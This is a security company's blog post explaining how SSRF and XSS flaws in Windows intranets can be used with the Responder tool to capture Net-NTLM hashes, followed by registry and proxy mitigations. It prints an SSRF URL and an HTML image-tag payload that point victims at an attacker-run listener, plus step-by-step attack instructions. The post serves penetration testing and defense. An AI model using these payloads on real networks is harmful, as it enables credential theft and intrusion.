Introduction
NTLM authentication is the de-facto standard in corporate networks running Windows. There are a plethora of well-understood local attacks that take advantage of the way Windows perform automatic NTLM authentication, and abusing this feature is undoubtedly on the playbook of every penetration tester and red teamer.
Here at Blaze Information Security, we recently spent some time investigating how we could abuse this feature using remote vectors, especially from the standpoint of web application vulnerabilities.
The goal is to discuss how issues such as Server-Side Request Forgery and Cross-Site Scripting can be weaponized to steal Net-NTLM hashes, which can be useful to get further access into a network.
This post assumes the reader is familiar with some of the concepts outlined here and will skip several technical details on the inner workings of NTLM authentication, how to configure and use the tools needed to capture Net-NTLM hashes, or teach how to exploit XSS and SSRF.
All experiments were done by Blaze Information Security in its labs using Windows 10 bare-metal, Windows 7 virtual machines, and Ubuntu Linux as a rogue authentication server.
A few words on Integrated Windows Authentication
Anyone that has used Windows in an intranet corporate environment may have noticed that accessing corporate resources in a network is frictionless and, in many cases, requires no explicit authentication prompting for credentials other than the initial Windows domain log-on. This is true for several services, like network-mapped drives, intranet websites, and more.
Windows WinHTTP provides developers with a high-level API that handles the HTTP/1.1 protocol. Among other functionalities, WinHTTP has the ability to automatically handle authentication to access protected resources by negotiating NTLM, Kerberos, and others.
Microsoft-based browsers Internet Explorer and Edge have a concept of trusted zones: Internet, Local Intranet, Trusted Sites, and Restricted Sites. Each zone has a different security level and associated restrictions. For example, for Intranet zone sites, Internet Explorer disables the XSS filter, runs ActiveX plug-ins, performs automatic logins, and overall has fewer security controls than for Internet sites.
By default, when a web server has a resource protected by NTLM authentication, Internet Explorer and Edge will perform the authentication automatically if the website is either located within the corporate intranet or is whitelisted in the Trusted Sites, respecting the concept of trusted zones.
Other browsers, like Mozilla Firefox and Google Chrome, also support automatic NTLM log-on. Chrome relies on the same settings as Internet Explorer; in the case of Firefox, this configuration is not enabled by default and has to be manually changed via about:config.
Enter Responder
Responder[1], by Laurent Gaffie, is by far the most popular tool in the arsenal of every penetration tester to steal different forms of credentials, including Net-NTLM hashes.
It works by setting up several emulated but rogue daemons, like SQL server, FTP, HTTP, and SMB server, etc., to either directly prompt for credentials or to simulate a challenge-response authentication procedure and capture the necessary hashes sent by the client.
Responder also has the ability to poison protocols like LLMNR, NBT-NS, and mDNS, but these will not be covered in this post.
Abuse scenarios via web application vulnerabilities
Recently we spent some time investigating how to weaponize web application vulnerabilities further to gain access to a network by taking advantage of the fact that Windows, under some conditions, may respond with NTLM hashes when challenged for credentials.
We wanted to describe two common vulnerabilities found in web applications and how we could leverage them to steal hashes, compromise accounts and get a foothold into a corporate network.
Scenario #1: From SSRF to hashes
SSRF vulnerabilities are commonly used to send HTTP requests to other servers and scan the internal network. It turns out it can also force a vulnerable web application to make the underlying Windows server leak its NTLM hashes.
We put together a Flask application vulnerable to SSRF to better illustrate the issue. The concept is very simple: it has a parameter URL, and when any site is passed to it, whether it is http://www.blazeinfosec.com or http://intranet.corporate, it will send an HTTP request, fetch the resource and respond it back to the client with the content fetched by request.
The sample vulnerable web application relies on Python’s win32com module. With this module, one can call a COM object that uses the native WinHTTP.WinHTTPRequest.5.1 to issue HTTP requests, and because of SetAutoLoginPolicy is set to 0, it will send credentials automatically.
It is important to mention that some frameworks’ URL resource fetching functions do not have tight integration with Windows and will not perform automatic log-on, unlike in this case. However, Java’s URLConnection(), and possibly others, will do too.
To exploit the vulnerability and obtain the user’s Net-NTLM hash, all it takes is to browse to the following URL:
http://127.0.0.1:8000/?url=http://server_listening_responderIn the background, without any sort of interaction, the following happens:
- The Windows API will send an HTTP request
- The server (in this case, Responder) will send the header WWW-Authenticate: NTLM, prompting it to authenticate with NTLM
- The client (in this case, the vulnerable application running on the server) will respond to the challenge, and the attacker will grab the server’s Net-NTLM hash
The final result is the adversary successfully captured Net-NTLM credentials:
Even though Net-NTLM hashes cannot be used in Pass-the-Hash attacks, unlike pure NTLM hashes, they can be relayed or cracked using off-the-shelf tools like hashcat:
Scenario #2: XSS: alert(1) is boring, let’s get some Net-NTLM hashes
As mentioned previously, when a web server prompts Internet Explorer and Edge for NTLM credentials, in its default configuration it will do the challenge-response authentication procedure and send the logged-in user’s hash to the requesting server, provided the site’s domain is sitting in the corporate intranet or is present in the list of Trusted Sites.
Below is Internet Explorer’s default configuration when it comes to automatic log-on in intranet sites:
Very often corporations whitelist their corporate domains as intranet trusted sites, like in the following example:
This means that if you are performing a penetration test of a web application running in an intranet and you find Cross-Site Scripting, there are good chances you can leverage this otherwise boring vulnerability into a hash-stealing bonanza.
By enticing anyone in a corporate environment to browse a page containing the following HTML code:
<html><img src="http://hostname_to_internal_responder"></html>If the HTTP server running Responder is within the intranet and its hostname, or its subdomain, is marked as trusted, as it usually is, Internet Explorer and Edge will send the hashes automatically.
The following steps outline the XSS-to-NTLM hashes attack pattern:
- Step 1: Set up your Responder running in HTTP mode in the local network- very often, you will have a reverse DNS for your IP under the corporate network, meaning you will have a hostname
- Step 2: In the XSS payload enter something along the lines of
<img src="http://hostname_to_internal_responder">- Step 3: Wait for an unsuspecting victim to browse the page affected by XSS – if it’s Stored XSS, even better
- Step 4: Capture the hashes
Usually, organizations also mark as trusted all content served by its subdomains. For example, if *.blazeinfosec.com is whitelisted, all it takes is one server in *.blazeinfosec.com to be compromised to run Responder, and it later can be used to steal hashes of users in the corporate network via this vector.
If the client tries to connect to an HTTP server challenging it with NTLM authentication, but the hostname is not within any sort of trusted list of Internet Explorer or Edge, the client will be prompted for credentials like in the screenshot below:
Mitigating the risk
The issues described in this post are all well known for a while and in fact are design decisions of Windows. NTLM authentication has worked in this way since its early days, and some of these vulnerabilities have been discussed over 20 years ago despite there being no significant awareness of its risks.
There are, however, different ways to reduce the impact brought by this insecure behavior of Windows.
Setting to 2 the value of the registry key RestrictSendingNTLMTraffic in:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0will reduce the exposure of this risk, as Windows will no longer send the NTLMv1 or NTLMv2 hashes when challenged by a server, whether it is legitimate or rogue.
However, it is important to consider this may break functionality, especially in a corporate network heavily using NTLM for automatic log-on.
In the scenario related to SSRF, it is recommended to use HTTP libraries that do not perform automatic NTLM authentication. Another idea to reduce this risk is to have rules in your corporate proxy preventing negotiation of NTLM authentication with servers outside of your network boundary.
Conclusion
There are several benefits NTLM authentication can bring to an organization that relies on Windows and other Microsoft products. Single sign-on capabilities provide a seamless user experience when accessing different corporate systems, improving users’ productivity and reducing the burden of having to authenticate constantly.
Nevertheless, there are security risks related to NTLM authentication that are frequently overlooked despite they have been known for over two decades now.
For the penetration testers out there, every time you find an SSRF, it may be worth pointing it to a server running a Responder listener. There is always a chance you will get NTLMv1 or NTLMv2 hashes and get deeper into the target network.
Developers and risk officers should not underestimate the impact of an XSS on internal applications. It may be a good idea to revisit your bug tracker for WONT_FIX tickets containing XSS in an internal app and reconsider leaving it unresolved, as its impact may be greater than a simple pop-up box or a session cookie being stolen.
It is always nice to leverage an otherwise boring vulnerability like Cross-Site Scripting into an actual foothold in a corporate network.
References
[1] https://github.com/lgandx/Responder
[2] https://msdn.microsoft.com/en-us/library/ms775123(v=vs.85).aspx
